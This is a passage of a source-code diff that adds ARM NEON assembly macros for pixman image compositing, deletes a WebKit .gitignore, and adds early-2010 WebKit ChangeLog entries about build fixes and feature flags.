+ * d4, d5, d6, d7     - reserved for loading destination pixel data
+ * d24, d25, d26, d27 - reserved for loading mask pixel data
+ * d28, d29, d30, d31 - final destination pixel data for writeback to memory
+ */
+.macro generate_composite_function fname, \
+                                   src_bpp_, \
+                                   mask_bpp_, \
+                                   dst_w_bpp_, \
+                                   flags, \
+                                   pixblock_size_, \
+                                   prefetch_distance, \
+                                   init, \
+                                   cleanup, \
+                                   process_pixblock_head, \
+                                   process_pixblock_tail, \
+                                   process_pixblock_tail_head, \
+                                   dst_w_basereg_ = 28, \
+                                   dst_r_basereg_ = 4, \
+                                   src_basereg_   = 0, \
+                                   mask_basereg_  = 24
+
+    .func fname
+    .global fname
+    /* For ELF format also set function visibility to hidden */
+#ifdef __ELF__
+    .hidden fname
+    .type fname, %function
+#endif
+fname:
+    push        {r4-r12, lr}        /* save all registers */
+
+/*
+ * Select prefetch type for this function. If prefetch distance is
+ * set to 0 or one of the color formats is 24bpp, SIMPLE prefetch
+ * has to be used instead of ADVANCED.
+ */
+    .set PREFETCH_TYPE_CURRENT, PREFETCH_TYPE_DEFAULT
+.if prefetch_distance == 0
+    .set PREFETCH_TYPE_CURRENT, PREFETCH_TYPE_NONE
+.elseif (PREFETCH_TYPE_CURRENT > PREFETCH_TYPE_SIMPLE) && \
+        ((src_bpp_ == 24) || (mask_bpp_ == 24) || (dst_w_bpp_ == 24))
+    .set PREFETCH_TYPE_CURRENT, PREFETCH_TYPE_SIMPLE
+.endif
+
+/*
+ * Make some macro arguments globally visible and accessible
+ * from other macros
+ */
+    .set src_bpp, src_bpp_
+    .set mask_bpp, mask_bpp_
+    .set dst_w_bpp, dst_w_bpp_
+    .set pixblock_size, pixblock_size_
+    .set dst_w_basereg, dst_w_basereg_
+    .set dst_r_basereg, dst_r_basereg_
+    .set src_basereg, src_basereg_
+    .set mask_basereg, mask_basereg_
+
+/*
+ * Assign symbolic names to registers
+ */
+    W           .req        r0      /* width (is updated during processing) */
+    H           .req        r1      /* height (is updated during processing) */
+    DST_W       .req        r2      /* destination buffer pointer for writes */
+    DST_STRIDE  .req        r3      /* destination image stride */
+    SRC         .req        r4      /* source buffer pointer */
+    SRC_STRIDE  .req        r5      /* source image stride */
+    DST_R       .req        r6      /* destination buffer pointer for reads */
+
+    MASK        .req        r7      /* mask pointer */
+    MASK_STRIDE .req        r8      /* mask stride */
+
+    PF_CTL      .req        r9      /* combined lines counter and prefetch */
+                                    /* distance increment counter */
+    PF_X        .req        r10     /* pixel index in a scanline for current */
+                                    /* pretetch position */
+    PF_SRC      .req        r11     /* pointer to source scanline start */
+                                    /* for prefetch purposes */
+    PF_DST      .req        r12     /* pointer to destination scanline start */
+                                    /* for prefetch purposes */
+    PF_MASK     .req        r14     /* pointer to mask scanline start */
+                                    /* for prefetch purposes */
+/*
+ * Check whether we have enough registers for all the local variables.
+ * If we don't have enough registers, original width and height are
+ * kept on top of stack (and 'regs_shortage' variable is set to indicate
+ * this for the rest of code). Even if there are enough registers, the
+ * allocation scheme may be a bit different depending on whether source
+ * or mask is not used.
+ */
+.if (PREFETCH_TYPE_CURRENT < PREFETCH_TYPE_ADVANCED)
+    ORIG_W      .req        r10     /* saved original width */
+    DUMMY       .req        r12     /* temporary register */
+    .set        regs_shortage, 0
+.elseif mask_bpp == 0
+    ORIG_W      .req        r7      /* saved original width */
+    DUMMY       .req        r8      /* temporary register */
+    .set        regs_shortage, 0
+.elseif src_bpp == 0
+    ORIG_W      .req        r4      /* saved original width */
+    DUMMY       .req        r5      /* temporary register */
+    .set        regs_shortage, 0
+.else
+    ORIG_W      .req        r1      /* saved original width */
+    DUMMY       .req        r1      /* temporary register */
+    .set        regs_shortage, 1
+.endif
+
+    .set mask_bpp_shift, -1
+.if src_bpp == 32
+    .set src_bpp_shift, 2
+.elseif src_bpp == 24
+    .set src_bpp_shift, 0
+.elseif src_bpp == 16
+    .set src_bpp_shift, 1
+.elseif src_bpp == 8
+    .set src_bpp_shift, 0
+.elseif src_bpp == 0
+    .set src_bpp_shift, -1
+.else
+    .error "requested src bpp (src_bpp) is not supported"
+.endif
+.if mask_bpp == 32
+    .set mask_bpp_shift, 2
+.elseif mask_bpp == 24
+    .set mask_bpp_shift, 0
+.elseif mask_bpp == 8
+    .set mask_bpp_shift, 0
+.elseif mask_bpp == 0
+    .set mask_bpp_shift, -1
+.else
+    .error "requested mask bpp (mask_bpp) is not supported"
+.endif
+.if dst_w_bpp == 32
+    .set dst_bpp_shift, 2
+.elseif dst_w_bpp == 24
+    .set dst_bpp_shift, 0
+.elseif dst_w_bpp == 16
+    .set dst_bpp_shift, 1
+.elseif dst_w_bpp == 8
+    .set dst_bpp_shift, 0
+.else
+    .error "requested dst bpp (dst_w_bpp) is not supported"
+.endif
+
+.if (((flags) & FLAG_DST_READWRITE) != 0)
+    .set dst_r_bpp, dst_w_bpp
+.else
+    .set dst_r_bpp, 0
+.endif
+.if (((flags) & FLAG_DEINTERLEAVE_32BPP) != 0)
+    .set DEINTERLEAVE_32BPP_ENABLED, 1
+.else
+    .set DEINTERLEAVE_32BPP_ENABLED, 0
+.endif
+
+.if prefetch_distance < 0 || prefetch_distance > 15
+    .error "invalid prefetch distance (prefetch_distance)"
+.endif
+
+.if src_bpp > 0
+    ldr         SRC, [sp, #40]
+.endif
+.if mask_bpp > 0
+    ldr         MASK, [sp, #48]
+.endif
+    PF mov      PF_X, #0
+.if src_bpp > 0
+    ldr         SRC_STRIDE, [sp, #44]
+.endif
+.if mask_bpp > 0
+    ldr         MASK_STRIDE, [sp, #52]
+.endif
+    mov         DST_R, DST_W
+
+.if src_bpp == 24
+    sub         SRC_STRIDE, SRC_STRIDE, W
+    sub         SRC_STRIDE, SRC_STRIDE, W, lsl #1
+.endif
+.if mask_bpp == 24
+    sub         MASK_STRIDE, MASK_STRIDE, W
+    sub         MASK_STRIDE, MASK_STRIDE, W, lsl #1
+.endif
+.if dst_w_bpp == 24
+    sub         DST_STRIDE, DST_STRIDE, W
+    sub         DST_STRIDE, DST_STRIDE, W, lsl #1
+.endif
+
+/*
+ * Setup advanced prefetcher initial state
+ */
+    PF mov      PF_SRC, SRC
+    PF mov      PF_DST, DST_R
+    PF mov      PF_MASK, MASK
+    /* PF_CTL = prefetch_distance | ((h - 1) << 4) */
+    PF mov      PF_CTL, H, lsl #4
+    PF add      PF_CTL, #(prefetch_distance - 0x10)
+
+    init
+.if regs_shortage
+    push        {r0, r1}
+.endif
+    subs        H, H, #1
+.if regs_shortage
+    str         H, [sp, #4] /* save updated height to stack */
+.else
+    mov         ORIG_W, W
+.endif
+    blt         9f
+    cmp         W, #(pixblock_size * 2)
+    blt         8f
+/*
+ * This is the start of the pipelined loop, which if optimized for
+ * long scanlines
+ */
+0:
+    ensure_destination_ptr_alignment process_pixblock_head, \
+                                     process_pixblock_tail, \
+                                     process_pixblock_tail_head
+
+    /* Implement "head (tail_head) ... (tail_head) tail" loop pattern */
+    pixld_a     pixblock_size, dst_r_bpp, \
+                (dst_r_basereg - pixblock_size * dst_r_bpp / 64), DST_R
+    pixld       pixblock_size, src_bpp, \
+                (src_basereg - pixblock_size * src_bpp / 64), SRC
+    pixld       pixblock_size, mask_bpp, \
+                (mask_basereg - pixblock_size * mask_bpp / 64), MASK
+    PF add      PF_X, PF_X, #pixblock_size
+    process_pixblock_head
+    cache_preload 0, pixblock_size
+    cache_preload_simple
+    subs        W, W, #(pixblock_size * 2)
+    blt         2f
+1:
+    process_pixblock_tail_head
+    cache_preload_simple
+    subs        W, W, #pixblock_size
+    bge         1b
+2:
+    process_pixblock_tail
+    pixst_a     pixblock_size, dst_w_bpp, \
+                (dst_w_basereg - pixblock_size * dst_w_bpp / 64), DST_W
+
+    /* Process the remaining trailing pixels in the scanline */
+    process_trailing_pixels 1, 1, \
+                            process_pixblock_head, \
+                            process_pixblock_tail, \
+                            process_pixblock_tail_head
+    advance_to_next_scanline 0b
+
+.if regs_shortage
+    pop         {r0, r1}
+.endif
+    cleanup
+    pop         {r4-r12, pc}  /* exit */
+/*
+ * This is the start of the loop, designed to process images with small width
+ * (less than pixblock_size * 2 pixels). In this case neither pipelining
+ * nor prefetch are used.
+ */
+8:
+    /* Process exactly pixblock_size pixels if needed */
+    tst         W, #pixblock_size
+    beq         1f
+    pixld       pixblock_size, dst_r_bpp, \
+                (dst_r_basereg - pixblock_size * dst_r_bpp / 64), DST_R
+    pixld       pixblock_size, src_bpp, \
+                (src_basereg - pixblock_size * src_bpp / 64), SRC
+    pixld       pixblock_size, mask_bpp, \
+                (mask_basereg - pixblock_size * mask_bpp / 64), MASK
+    process_pixblock_head
+    process_pixblock_tail
+    pixst       pixblock_size, dst_w_bpp, \
+                (dst_w_basereg - pixblock_size * dst_w_bpp / 64), DST_W
+1:
+    /* Process the remaining trailing pixels in the scanline */
+    process_trailing_pixels 0, 0, \
+                            process_pixblock_head, \
+                            process_pixblock_tail, \
+                            process_pixblock_tail_head
+    advance_to_next_scanline 8b
+9:
+.if regs_shortage
+    pop         {r0, r1}
+.endif
+    cleanup
+    pop         {r4-r12, pc}  /* exit */
+
+    .unreq      SRC
+    .unreq      MASK
+    .unreq      DST_R
+    .unreq      DST_W
+    .unreq      ORIG_W
+    .unreq      W
+    .unreq      H
+    .unreq      SRC_STRIDE
+    .unreq      DST_STRIDE
+    .unreq      MASK_STRIDE
+    .unreq      PF_CTL
+    .unreq      PF_X
+    .unreq      PF_SRC
+    .unreq      PF_DST
+    .unreq      PF_MASK
+    .unreq      DUMMY
+    .endfunc
+.endm
+
+/*
+ * A simplified variant of function generation template for a single
+ * scanline processing (for implementing pixman combine functions)
+ */
+.macro generate_composite_function_single_scanline fname, \
+                                                   src_bpp_, \
+                                                   mask_bpp_, \
+                                                   dst_w_bpp_, \
+                                                   flags, \
+                                                   pixblock_size_, \
+                                                   init, \
+                                                   cleanup, \
+                                                   process_pixblock_head, \
+                                                   process_pixblock_tail, \
+                                                   process_pixblock_tail_head, \
+                                                   dst_w_basereg_ = 28, \
+                                                   dst_r_basereg_ = 4, \
+                                                   src_basereg_   = 0, \
+                                                   mask_basereg_  = 24
+
+    .func fname
+    .global fname
+    /* For ELF format also set function visibility to hidden */
+#ifdef __ELF__
+    .hidden fname
+    .type fname, %function
+#endif
+fname:
+    .set PREFETCH_TYPE_CURRENT, PREFETCH_TYPE_NONE
+/*
+ * Make some macro arguments globally visible and accessible
+ * from other macros
+ */
+    .set src_bpp, src_bpp_
+    .set mask_bpp, mask_bpp_
+    .set dst_w_bpp, dst_w_bpp_
+    .set pixblock_size, pixblock_size_
+    .set dst_w_basereg, dst_w_basereg_
+    .set dst_r_basereg, dst_r_basereg_
+    .set src_basereg, src_basereg_
+    .set mask_basereg, mask_basereg_
+/*
+ * Assign symbolic names to registers
+ */
+    W           .req        r0      /* width (is updated during processing) */
+    DST_W       .req        r1      /* destination buffer pointer for writes */
+    SRC         .req        r2      /* source buffer pointer */
+    DST_R       .req        ip      /* destination buffer pointer for reads */
+    MASK        .req        r3      /* mask pointer */
+
+.if (((flags) & FLAG_DST_READWRITE) != 0)
+    .set dst_r_bpp, dst_w_bpp
+.else
+    .set dst_r_bpp, 0
+.endif
+.if (((flags) & FLAG_DEINTERLEAVE_32BPP) != 0)
+    .set DEINTERLEAVE_32BPP_ENABLED, 1
+.else
+    .set DEINTERLEAVE_32BPP_ENABLED, 0
+.endif
+
+    init
+    mov         DST_R, DST_W
+
+    cmp         W, #pixblock_size
+    blt         8f
+
+    ensure_destination_ptr_alignment process_pixblock_head, \
+                                     process_pixblock_tail, \
+                                     process_pixblock_tail_head
+
+    subs        W, W, #pixblock_size
+    blt         7f
+
+    /* Implement "head (tail_head) ... (tail_head) tail" loop pattern */
+    pixld_a     pixblock_size, dst_r_bpp, \
+                (dst_r_basereg - pixblock_size * dst_r_bpp / 64), DST_R
+    pixld       pixblock_size, src_bpp, \
+                (src_basereg - pixblock_size * src_bpp / 64), SRC
+    pixld       pixblock_size, mask_bpp, \
+                (mask_basereg - pixblock_size * mask_bpp / 64), MASK
+    process_pixblock_head
+    subs        W, W, #pixblock_size
+    blt         2f
+1:
+    process_pixblock_tail_head
+    subs        W, W, #pixblock_size
+    bge         1b
+2:
+    process_pixblock_tail
+    pixst_a     pixblock_size, dst_w_bpp, \
+                (dst_w_basereg - pixblock_size * dst_w_bpp / 64), DST_W
+7:
+    /* Process the remaining trailing pixels in the scanline (dst aligned) */
+    process_trailing_pixels 0, 1, \
+                            process_pixblock_head, \
+                            process_pixblock_tail, \
+                            process_pixblock_tail_head
+
+    cleanup
+    bx         lr  /* exit */
+8:
+    /* Process the remaining trailing pixels in the scanline (dst unaligned) */
+    process_trailing_pixels 0, 0, \
+                            process_pixblock_head, \
+                            process_pixblock_tail, \
+                            process_pixblock_tail_head
+
+    cleanup
+    bx          lr  /* exit */
+
+    .unreq      SRC
+    .unreq      MASK
+    .unreq      DST_R
+    .unreq      DST_W
+    .unreq      W
+    .endfunc
+.endm
+
+.macro default_init
+.endm
+
+.macro default_cleanup
+.endm
diff --git a/src/3rdparty/webkit/.gitignore b/src/3rdparty/webkit/.gitignore
deleted file mode 100644
index b9595b3..0000000
--- a/src/3rdparty/webkit/.gitignore
+++ /dev/null
@@ -1,6 +0,0 @@
-*.mode*
-*.pbxuser
-*.perspective*
-*.pyc
-build/
-/WebKitBuild/
diff --git a/src/3rdparty/webkit/.tag b/src/3rdparty/webkit/.tag
new file mode 100644
index 0000000..4813e1e
--- /dev/null
+++ b/src/3rdparty/webkit/.tag
@@ -0,0 +1 @@
+862268aeb7150d3795d05bfc05f661bb5c598a27
diff --git a/src/3rdparty/webkit/ChangeLog b/src/3rdparty/webkit/ChangeLog
index 1e89d1e..70eff7d 100644
--- a/src/3rdparty/webkit/ChangeLog
+++ b/src/3rdparty/webkit/ChangeLog
@@ -1,3 +1,895 @@
+2010-04-09  Simon Hausmann  <simon.hausmann@nokia.com>
+
+        Unreviewed crash fix.
+
+        Revert part of 57320 that would remove NDEBUG in release builds for
+        DRT, etc.
+
+        * WebKit.pri:
+
+2010-04-09  Jocelyn Turcotte  <jocelyn.turcotte@nokia.com>
+
+        Reviewed by Simon Hausmann.
+
+        [Qt] Fix crashes with package builds in release
+
+        * WebKit.pri: Don't randomly add NDEBUG to the defines.
+
+2010-04-07  Laszlo Gombos  <laszlo.1.gombos@nokia.com>
+
+        Reviewed by Kenneth Rohde Christiansen.
+
+        [Qt] Fix trunk (non-standalone) builds for Symbian
+        https://bugs.webkit.org/show_bug.cgi?id=37136
+
+        Test for source files before building instead of relying on
+        standalone_package config.
+
+        * WebKit.pro:
+
+2010-03-26  Jocelyn Turcotte  <jocelyn.turcotte@nokia.com>
+
+        Reviewed by Simon Hausmann.
+
+        [Qt] Build JavaScriptCore as a static library.
+        https://bugs.webkit.org/show_bug.cgi?id=36590
+
+        This patch takes what was left of the unused JavaScriptCore.pro
+        and moved the compilation logic from JavaScriptCore.pri to
+        JavaScriptCore.pro.
+
+        * WebKit.pro:
+
+2010-03-16  Xan Lopez  <xlopez@igalia.com>
+
+        Rubber-stamped by Gustavo Noronha.
+
+        Update library version for 1.1.90 release.
+
+        * configure.ac:
+
+2010-03-16  Xan Lopez  <xlopez@igalia.com>
+
+        Reviewed by Gustavo Noronha.
+
+        Bump version for 1.1.90 release.
+
+        * configure.ac:
+
+2010-03-16  Xan Lopez  <xlopez@igalia.com>
+
+        Reviewed by Gustavo Noronha.
+
+        Add support for Fast Mobile Scrolling in the build system.
+
+        * configure.ac:
+
+2010-03-16  Simon Hausmann  <simon.hausmann@nokia.com>
+
+        Add WebKitTools/TestResultServer/index.yaml to gitattributes to ignore for crlf conversion.
+
+        * .gitattributes:
+
+2010-03-12  Scott Byer  <scottbyer@chromium.org>
+
+        Reviewed by David Levin.
+
+        Popup font size needs to be exposed to clients.
+        https://bugs.webkit.org/show_bug.cgi?id=35990
+
+        Add function to expose the popup menu font size, add a field to
+        WebPopupMenuInfo that receives that information to convey that to
+        the web view client's createPopupMenu() call.
+
+        * WebCore/platform/chromium/PopupMenuChromium.cpp:
+        * WebCore/platform/chromium/PopupMenuChromium.h:
+        * WebKit/chromium/public/WebPopupMenuInfo.h:
+        * WebKit/chromium/src/ChromeClientImpl.cpp:
+
+2010-03-11  Adam Roben  <aroben@apple.com>
+
+        Teach git about ObjC files
+
+        Fixes <http://webkit.org/b/36015>.
+
+        Reviewed by Tim Hatcher.
+
+        * .gitattributes: Set the diff attribute for .m and .mm files, and .h
+        files in Mac-specific directories. This can be used to generate
+        more-readable diffs of ObjC files.
+
+2010-03-09  Gustavo Noronha Silva  <gustavo.noronha@collabora.co.uk>
+
+        Unreviewed. Versioning for 1.1.23.
+
+        * configure.ac:
+
+2010-03-09  Gustavo Noronha Silva  <gustavo.noronha@collabora.co.uk>
+
+        Unreviewed distcheck fix.
+
+        * GNUmakefile.am:
+
+2010-03-08  Jian Li  <jianli@chromium.org>
+
+        Reviewed by Dmitry Titov.
+
+        Blob.slice support.
+        https://bugs.webkit.org/show_bug.cgi?id=32993
+
+        Add ENABLE_BLOB_SLICE feature define.
+
+        * configure.ac:
+
+2010-03-04  Fridrich Strba  <fridrich.strba@bluewin.ch>
+
+        Reviewed by Holger Freyther.
+
+        https://bugs.webkit.org/show_bug.cgi?id=35726
+        Remove orphaned #ifdef WTF_USE_GLIB_ICU_UNICODE_HYBRID
+
+        Removing orphaned #if USE.
+
+        * GNUmakefile.am:
+
+2010-03-04  Jocelyn Turcotte  <jocelyn.turcotte@nokia.com>
+
+        Reviewed by Tor Arne Vestbø.
+
+        [Qt] Make the OUTPUT_DIR variable in qmake projects independent of build-webkit's logic.
+
+        This also allows shadow builds relying only on qmake to work properly.
+
+        * WebKit.pri:
+
+2010-03-03  Fridrich Strba  <fridrich.strba@bluewin.ch>
+
+        Reviewed by Xan Lopez.
+
+        Miscellaneous little fixes for the windows build of webkit-gtk
+        https://bugs.webkit.org/show_bug.cgi?id=35640
+
+        * GNUmakefile.am: On Windows with GCC, presence of
+        __declspec(dllexport) on some symbols disables the autoexport/autoimport
+        feature for all others. Using regex here assures that all symbols that 
+        need to be exported in the dll are actually exported.
+
+2010-03-02  Arno Renevier  <arno@renevier.net>
+
+        Reviewed by Gustavo Noronha Silva.
+
+        [Gtk] implements ChromeClient::requestGeolocationPermissionForFrame
+        https://bugs.webkit.org/show_bug.cgi?id=35210
+
+        * GNUmakefile.am:
+
+2010-03-02  Dmitry Titov  <dimich@chromium.org>
+
+        Reviewed by Alexey Proskuryakov.
+
+        Ignore compiled Java test cases in .gitignore.
+        https://bugs.webkit.org/show_bug.cgi?id=35559
+
+        * .gitignore:
+
+2010-02-26  Arno Renevier  <arno@renevier.net>
+
+        Reviewed by Gustavo Noronha Silva.
+
+        [Gtk] ignore WebKit/gtk/docs/GNUmakefile.in in .gitignore
+        https://bugs.webkit.org/show_bug.cgi?id=35424
+
+        * .gitignore:
+
+2010-02-24  Sam Kerner  <skerner@chromium.org>
+
+        Reviewed by Darin Fisher.
+
+        Expose WebFrame::setCanHaveScrollbars().  This allows a view
+        which is being resized to not need scroll bars to ensure that
+        they are not drawn.
+
+        Existing function setAllowsScrolling() was renamed
+        setCanHaveScrollbars(), to be consistant with change 37159:
+        http://trac.webkit.org/changeset/37159
+
+        https://bugs.webkit.org/show_bug.cgi?id=35257
+
+        * WebKit/chromium/public/WebFrame.h:
+        * WebKit/chromium/src/ChromeClientImpl.cpp:
+        * WebKit/chromium/src/WebFrameImpl.cpp:
+        * WebKit/chromium/src/WebFrameImpl.h:
+
+2010-02-19  Jesus Sanchez-Palencia  <jesus.palencia@openbossa.org>
+
+        Reviewed by Kenneth Rohde Christiansen.
+
+        [Qt] Remove QGVLauncher
+
+        https://bugs.webkit.org/show_bug.cgi?id=35292
+
+        * WebKit.pro:
+
+2010-02-24  Xan Lopez  <xlopez@igalia.com>
+
+        Reviewed by Gustavo Noronha.
+
+        Enable SharedWorkers by default, since that's been the default for
+        a long time in our build-webkit configuration.
+
+        * configure.ac:
+
+2010-02-23  James Choi  <jchoi42@pha.jhu.edu>
+
+        Add Solaris definitions
+        https://bugs.webkit.org/show_bug.cgi?id=35214
+
+        * WebKit/chromium/src/WebViewImpl.cpp
+        * WebKit/chromium/src/WebFrameImpl.cpp
+
+2010-02-23  Arno Renevier  <arno@renevier.net>
+
+        Reviewed by Gustavo Noronha Silva.
+
+        [Gtk]: testwebview does not work when called with absolute path
+        https://bugs.webkit.org/show_bug.cgi?id=34940
+
+        When testwebview is called as absolute path, chdir to executable
+        directory before searching resource files.
+
+        * GNUmakefile.am:
+
+2010-02-23  Leandro Pereira  <leandro@profusion.mobi>
+
+        Reviewed by Gustavo Noronha Silva.
+
+        Changes references of GOwnPtr to reflect their new place.
+        http://webkit.org/b/35084
+
+        * JavaScriptCore/JavaScriptCore.gypi:
+        * JavaScriptCore/wtf/Threading.h:
+        * JavaScriptCore/wtf/unicode/glib/UnicodeGLib.h:
+
+2010-02-23  Leandro Pereira  <leandro@profusion.mobi>
+
+        Reviewed by Gustavo Noronha Silva.
+
+        Fixes references to GOwnPtr and GRefPtr so the GTK+ port builds
+        again.
+        http://webkit.org/b/35084
+
+        * GNUmakefile.am:
+
+2010-02-23  Diego Escalante Urrelo  <descalante@igalia.com>
+
+        Reviewed by Eric Seidel.
+
+        [gtk] missing libsoup-2.4 package in gir generation
+        https://bugs.webkit.org/show_bug.cgi?id=35199
+
+        Include libsoup-2.4 package in gobject introspection .gir generation.
+
+        * GNUmakefile.am:
+
+2010-02-22  Huahui Wu  <hwu@google.com>
+
+        Reviewed by Eric Seidel.
+
+        Add code that enables SquirrelFish Extreme (a.k.a JSCX, JSC JIT)
+        in Android. It's disabled by default, but is enabled when the 
+        enveronment variable ENABLE_JSC_JIT is set to true.
+        https://bugs.webkit.org/show_bug.cgi?id=34855
+
+        * Android.mk:
+
+2010-02-22  Xan Lopez  <xlopez@igalia.com>
+
+        Reviewed by Gustavo Noronha.
+
+        Bump library versioning for 1.1.22 release.
+
+        * configure.ac:
+
+2010-02-22  Laszlo Gombos  <laszlo.1.gombos@nokia.com>
+
+        Reviewed by Kenneth Rohde Christiansen.
+
+        [Qt] Add support for layout tests on Symbian
+        https://bugs.webkit.org/show_bug.cgi?id=31589
+
+        * WebKit.pro:
+
+2010-02-20  Noam Rosenthal  <noam.rosenthal@nokia.com>
+
+        Reviewed by Laszlo Gombos.
+
+        [Qt] ENABLE_3D_RENDERING should be optional
+        https://bugs.webkit.org/show_bug.cgi?id=35100
+
+        * WebKit.pri: ENABLE_3D_RENDERING moved to a proper feature test
+
+2010-02-19  Maciej Stachowiak  <mjs@apple.com>
+
+        Reviewed by David Levin.
+
+        Add an ENABLE flag for sandboxed iframes to make it possible to disable it in releases
+        https://bugs.webkit.org/show_bug.cgi?id=35147
+
+        * configure.ac:
+
+2010-02-18  Tor Arne Vestbø  <tor.arne.vestbo@nokia.com>
+
+        Reviewed by Eric Seidel.
+
+        Add .gitattributes file for custom ChangeLog merge-driver
+
+        * .gitattributes: Added.
+
+2010-02-17  Noam Rosenthal  <noam.rosenthal@nokia.com>
+
+        Reviewed by Ariya Hidayat.
+
+        [Qt] GraphicsLayer: support perspective and 3D transforms
+        https://bugs.webkit.org/show_bug.cgi?id=34960
+
+        * WebKit.pri: added appropriate define: ENABLED_3D_RENDERING
+
+2010-02-15  Philippe Normand  <pnormand@igalia.com>
+
+        Reviewed by Gustavo Noronha Silva.
+
+        [GStreamer] Should handle BUFFERING messages
+        https://bugs.webkit.org/show_bug.cgi?id=30004
+
+        * configure.ac: Bump gstreamer -core/-plugins-base requirements to
+        0.10.25 which is the minimum required version for on-disk buffering.
+
+2010-02-16  Xan Lopez  <xlopez@igalia.com>
+
+        Reviewed by Gustavo Noronha.
+
+        Bump version to 1.1.22 so we can depend on it in applications.
+
+        * configure.ac:
+
+2010-02-12  Simon Hausmann  <simon.hausmann@nokia.com>
+
+        Reviewed by Holger Freyther.
+
+        Removed WMLInputElement.* from .gitattributes as the file is
+        now CRLF clean.
+
+        * .gitattributes:
+
+2010-02-10  Jocelyn Turcotte  <jocelyn.turcotte@nokia.com>
+
+        Reviewed by Tor Arne Vestbø.
+
+        [Qt] Make qtlauncher and qgvlauncher use the generated headers
+        path to make sure they are correctly generated.
+
+        * WebKit.pri:
+
+2010-02-10  Jocelyn Turcotte  <jocelyn.turcotte@nokia.com>
+
+        Reviewed by Tor Arne Vestbø.
+
+        [Qt] Manually add support for the install target on Symbian.
+
+        This is required to copy the headers over the ones in Qt.
+
+        * WebKit.pro:
+
+2010-02-11  Fridrich Strba  <fridrich.strba@bluewin.ch>
+
+        Reviewed by Gustavo Noronha Silva.
+
+        Detect properly different versions of libpng out there.
+
+        * configure.ac:
+
+2010-02-11  Xan Lopez  <xlopez@igalia.com>
+
+        Try to fix GTK+ build.
+
+        * configure.ac:
+
+2010-02-11  Antonio Gomes  <tonikitoo@webkit.org>
+
+        Reviewed by Xan Lopez.
+
+        Adjust gstreamer-plugins-base minimum version check (from 0.10 to 0.10.23).
+
+        * configure.ac:
+
+2010-02-08  Maciej Stachowiak  <mjs@apple.com>
+
+        Reviewed by Cameron Zwarich.
+
+        Restore ENABLE_RUBY flag so vendors can ship with Ruby disabled if they choose.
+        https://bugs.webkit.org/show_bug.cgi?id=34698
+
+        * configure.ac:
+
+2010-02-08  Gustavo Noronha Silva  <gustavo.noronha@collabora.co.uk>
+
+        Reviewed by Xan Lopez.
+
+        Bump version to 1.1.21, and adjust library versioning accordingly.
+
+        * configure.ac:
+
+2010-02-05  Sebastian Dröge  <sebastian.droege@collabora.co.uk>
+
+        Reviewed by Gustavo Noronha.
+
+        Add gstreamer-app-0.10 to configure.ac
+        https://bugs.webkit.org/show_bug.cgi?id=34317
+
+        * configure.ac:
+
+2010-02-05  Simon Hausmann  <simon.hausmann@nokia.com>
+
+        Reviewed by Tor Arne Vestbø.
+
+        Add .gitattributes file to tell git about files with Windows linefeeds
+        https://bugs.webkit.org/show_bug.cgi?id=34645
+
+        On Windows git defaults to "true" for core.autocrlf, meaning all text
+        files in the working directory are converted from CRLF to LF on checkin
+        time. Some files present in the repository have been checked in with
+        CRLF linefeeds and git should not try to convert them. The added
+        .gitattributes file tells git to not do any CRLF conversion.
+
+        * .gitattributes: Added.
+
+2010-02-05  Tor Arne Vestbø  <tor.arne.vestbo@nokia.com>
+
+        Reviewed by Simon Hausmann.
+
+        [Qt] Generate convenience headers (QWebView, etc) using qmake
+
+        In Qt this is done using syncqt, but we use a pro-file instead
+        that generates makefile-rules for each of the extra headers.
+
+        These extra headers are installed alongside the normal headers.
+
+        * DerivedSources.pro: Include API-DerivedSources
+
+2010-02-04  Tor Arne Vestbø  <tor.arne.vestbo@nokia.com>
+
+        Reviewed by Lars Knoll.
+
+        [Qt] Make 'make -f Makefile.DerivedSources qmake' work
+
+        Previously this target ended up generating a file named
+        Makefile.DerivedSources.DerivedSources, and so on.
+
+        * DerivedSources.pro:
+
+2010-02-04  Christian Dywan  <christian@twotasts.de>
+
+        Reviewed by Xan Lopez.
+
+        Require either libsoup 2.28.2 or 2.29.90.
+
+        * configure.ac:
+
+2010-02-04  Xan Lopez  <xlopez@igalia.com>
+
+        Reviewed by Gustavo Noronha.
+
+        Bump minimum libsoup requirement to 2.29.90
+
+        * configure.ac:
+
+2010-02-02  Gustavo Noronha Silva  <gns@gnome.org>
+
+        Reviewed by Xan Lopez.
+
+        Bump version, and adjust library versioning for 1.1.20.
+
+        * configure.ac:
+
+2010-01-29  Jeremy Orlow  <jorlow@chromium.org>
+
+        Reviewed by Dimitri Glazkov.
+
+        A first step towards the Indexed Database API
+        https://bugs.webkit.org/show_bug.cgi?id=34342
+
+        Add Indexed Database API
+
+        * configure.ac:
+
+2010-01-27  Simon Hausmann  <simon.hausmann@nokia.com>
+
+        Reviewed by Kenneth Rohde Christiansen.
+
+        [Qt] Don't build the tests in packages, only the launcher(s)
+
+        * WebKit.pro:
+
+2010-01-27  Jocelyn Turcotte  <jocelyn.turcotte@nokia.com>
+
+        Reviewed by Tor Arne Vestbø.
+
+        [Qt] Add the "d" suffix to QtWebKit's dll on Windows.
+
+        * WebKit.pri:
+
+2010-01-27  Jocelyn Turcotte  <jocelyn.turcotte@nokia.com>
+
+        Unreviewed build fix
+
+        [Qt] Build fix for windows when QTDIR contains release libraries.
+
+        * WebKit.pri: Use the <name>.lib syntax for linking instead of qmake's -l<name> emulation
+
+2010-01-26  Jedrzej Nowacki  <jedrzej.nowacki@nokia.com>
+
+        Reviewed by Simon Hausmann.
+
+        First steps of the QtScript API.
+        
+        Two new classes were created; QScriptEngine and QScriptValue.
+        The first should encapsulate a javascript context and the second a script
+        value.
+        
+        This API is still in development, so it isn't compiled by default.
+        To trigger compilation, pass --qmakearg="CONFIG+=build-qtscript" to
+        build-webkit.
+
+        https://bugs.webkit.org/show_bug.cgi?id=32565
+
+        * WebKit.pro:
+
+2010-01-25  Simon Hausmann  <simon.hausmann@nokia.com>
+
+        Reviewed by Laszlo Gombos.
+
+        [Qt] Fix the build on Maemo5.
+
+        https://bugs.webkit.org/show_bug.cgi?id=34051
+
+        * WebKit.pri: Disable the use of uitools, just like it's done for Symbian.
+
+2010-01-21  No'am Rosenthal  <noam.rosenthal@nokia.com>
+
+        Reviewed by Antti Koivisto.
+
+        [Qt] Implement GraphicsLayer for accelerated layer compositing
+        https://bugs.webkit.org/show_bug.cgi?id=33514
+
+        * WebKit.pri: Addded compile flags to enable accelerated compositing
+        on versions higher than 4.5
+
+2010-01-20  Tor Arne Vestbø  <tor.arne.vestbo@nokia.com>
+
+        Reviewed by Simon Hausmann.
+
+        [Qt] Make DumpRenderTree build on Windows
+
+        * WebKit.pro:
+
